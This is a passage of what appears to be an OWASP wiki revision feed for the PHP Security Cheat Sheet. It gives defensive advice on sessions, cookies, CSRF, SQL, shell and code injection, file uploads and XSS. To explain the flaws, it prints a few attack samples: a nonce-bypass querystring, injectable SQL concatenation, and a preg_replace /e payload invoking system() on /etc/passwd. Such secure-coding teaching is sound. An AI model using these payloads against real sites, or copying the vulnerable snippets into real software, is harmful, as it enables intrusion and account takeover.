* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184338</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184338"/>
				<updated>2014-10-30T08:38:57Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Exceptions and error handling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
